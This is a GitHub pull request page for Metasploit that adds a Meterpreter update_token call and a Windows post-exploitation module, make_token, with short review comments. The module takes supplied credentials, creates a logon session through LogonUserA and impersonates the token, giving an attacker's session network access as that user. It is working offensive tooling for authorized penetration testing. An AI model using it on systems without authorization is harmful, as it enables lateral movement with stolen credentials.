Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add update_token to MSF + make_token post-ex module #18022

Merged
merged 8 commits into from Jun 8, 2023
1 change: 1 addition & 0 deletions lib/rex/post/meterpreter/extensions/stdapi/command_ids.rb
Expand Up @@ -129,6 +129,7 @@ module Stdapi
COMMAND_ID_STDAPI_AUDIO_MIC_LIST = EXTENSION_ID_STDAPI + 117
COMMAND_ID_STDAPI_SYS_PROCESS_SET_TERM_SIZE = EXTENSION_ID_STDAPI + 118
COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_SEARCH = EXTENSION_ID_STDAPI + 119
COMMAND_ID_STDAPI_SYS_CONFIG_UPDATE_TOKEN = EXTENSION_ID_STDAPI + 120


end; end; end; end; end
Expand Down
9 changes: 9 additions & 0 deletions lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb
Expand Up @@ -166,6 +166,15 @@ def drop_token
client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) )
end

#
# Updates the current token for impersonation
#
def update_token(token_handle)
req = Packet.create_request(COMMAND_ID_STDAPI_SYS_CONFIG_UPDATE_TOKEN)
req.add_tlv(TLV_TYPE_HANDLE, token_handle.to_i)
res = client.send_request(req)
end

#
# Enables all possible privileges
#
Expand Down
93 changes: 93 additions & 0 deletions modules/post/windows/manage/make_token.rb
@@ -0,0 +1,93 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Make Token Command',
'Description' => %q{
In its default configuration, this module creates a new network security context with the specified
logon data (username, domain and password). Under the hood, Meterpreter's access token is cloned, and
a new logon session is created and linked to that token. The token is then impersonated to acquire
the new network security context. This module has no effect on local actions - only on remote ones
(where the specified credential material will be used). This module does not validate the credentials
specified.
},
'License' => MSF_LICENSE,
'Notes' => {
'AKA' => ['make_token', 'maketoken']
},
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' => [
'Daniel López Jiménez (attl4s)',
'Simone Salucci (saim1z)'
],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_railgun_api
stdapi_sys_config_revert_to_self
stdapi_sys_config_update_token
]
}
}
)
)

register_options(
[
OptString.new('DOMAIN', [true, 'Domain to use' ]),
OptString.new('USER', [true, 'Username to use' ]),
attl4s marked this conversation as resolved.
Show resolved Hide resolved
OptString.new('PASSWORD', [true, 'Password to use' ])
]
)

register_advanced_options(
[
OptEnum.new('LOGONTYPE', [true, 'The type of logon operation to perform. Using LOGON32_LOGON_INTERACTIVE may cause issues within the session (typically due to the token filtering done by the UserAccountControl mechanism in Windows). Use with caution', 'LOGON32_LOGON_NEW_CREDENTIALS', ['LOGON32_LOGON_BATCH', 'LOGON32_LOGON_INTERACTIVE', 'LOGON32_LOGON_NETWORK', 'LOGON32_LOGON_NETWORK_CLEARTEXT', 'LOGON32_LOGON_NEW_CREDENTIALS', 'LOGON32_LOGON_SERVICE', 'LOGON32_LOGON_UNLOCK']]),
]
)
end

def run
# Make sure we meet the requirements before running the script
fail_with(Failure::NoTarget, 'This module requires a meterpreter session') unless session.type == 'meterpreter'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

BadConfig might be a better fit for this error because the session is user configurable.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

39b4569 + 217df62 😋


# check/set vars
user = datastore['USER']
password = datastore['PASSWORD']
domain = datastore['DOMAIN']
logontype = datastore['LOGONTYPE']

# revert any existing impersonation before doing a new one
print_status("Executing rev2self to revert any previous token impersonations")
session.sys.config.revert_to_self

# create new logon session / token pair
print_status("Executing LogonUserA with the flag #{logontype} to create a new security context for #{domain}\\#{user}")
logon_user = session.railgun.advapi32.LogonUserA(user, domain, password, logontype, 'LOGON32_PROVIDER_DEFAULT', 4)

if logon_user['return']
# get the token handle
ph_token = logon_user['phToken']
print_status("Impersonating the new security context...")

# store the token within the server
session.sys.config.update_token(ph_token)
print_good("The session should now run with the new security context!")

# send warning
if logontype == 'LOGON32_LOGON_NEW_CREDENTIALS'
print_warning("Remember that this will not have any effect on local actions (i.e. getuid will still show the original user)")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Do you have any context you can provide as to why this is only the case for this particular logon type?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I believe the LOGON32_LOGON_NEW_CREDENTIALS logontype is the only one that duplicates the original access token of the user, thus has no result on local actions. It only updates the logon session ID to a new logon session with the specified credentials for network access

end
else
print_error("LogonUserA call failed, Error Code: #{logon_user['GetLastError']} - #{logon_user['ErrorMessage']}")
end
end
end